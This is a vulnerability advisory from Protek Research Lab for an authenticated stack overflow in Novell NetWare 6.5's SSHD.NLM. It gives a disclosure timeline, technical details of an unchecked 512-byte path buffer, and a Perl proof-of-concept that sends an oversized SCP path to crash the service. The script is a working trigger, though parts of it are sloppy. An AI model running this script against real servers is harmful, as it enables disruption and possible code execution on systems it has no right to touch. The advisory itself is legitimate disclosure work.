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Application: Novell Netware OpenSSH Remote Stack Overflow

Platforms: Netware 6.5

Exploitation: Remote code execution

CVE Number:

Novell TID: 7006756

ZeroDayInitiative: ZDI-10-169

Author: Francis Provencher (Protek Research Lab's)

Blog: http://www.protekresearchlab.com/

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1) Introduction
2) Report Timeline
3) Technical details
4) The Code

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===============
1) Introduction

Novell, Inc. is a global software and services company based in
Waltham, Massachusetts. The company specializes in enterprise
operating systems, such as SUSE

Linux Enterprise and Novell NetWare; identity, security, and systems
management solutions; and collaboration solutions, such as Novell
Groupwise and Novell

Pulse.

Novell was instrumental in making the Utah Valley a focus for
technology and software development. Novell technology contributed to
the emergence of local

area networks, which displaced the dominant mainframe computing model
and changed computing worldwide. Today, a primary focus of the company
is on developing

open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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============================
2) Report Timeline

2010-04-06 The details of this case have been submitted to the vendor
as ZDI-CAN-674.
2010-09-01 Vendor respond with an advisory without nothing to fix the
vulnerability.

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============================
3) Technical details

This vulnerability allows remote attackers to execute arbitrary code
on vulnerable installations of Novell Netware. Authentication is
required to exploit

this vulnerability.

The flaw exists within SSHD.NLM. When the application attempts to
resolve an absolute path on the server, a 512 byte destination buffer
is used without

bounds checking. By providing a large enough value, an attacker can
cause a buffer to be overflowed. Successful exploitation results in
remote code execution

under the context of the server.

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===========
4) The Code

#!/usr/bin/perl

use Net::SSH2;
use Getopt::Std;

@overflow = ('A' x 1034);

getopts('H:P:u:p:', \%opts);
$host = $opts{'H'}; $port = $opts{'P'}; $username = $opts{'u'};
$password = $opts{'p'};

if(!defined($host) || !defined($username))
{
print "\nUsage: $0 -H <host> -P [port] -u <username> -p [password]\n\n";
exit(0);

}

print "\SCP Get… Beep, Beep";
foreach(@overflow) { $ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection
Refused!\n"; open(FD, '>>sshfuzz.log'); print FD $host . "\n" . $_ .
"\n\n";
$ssh2->auth_password($username, $password) || die "\nError:
Username/Password Denied!\n";
$fuzzssh = $_; $scpget = $ssh2->scp_get($fuzzssh); $ssh2->disconnect(); }
sleep(1);

close(FD); close(FDD); close(FDDD); close(FDDDD);

exit;

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(PRL-2010-07)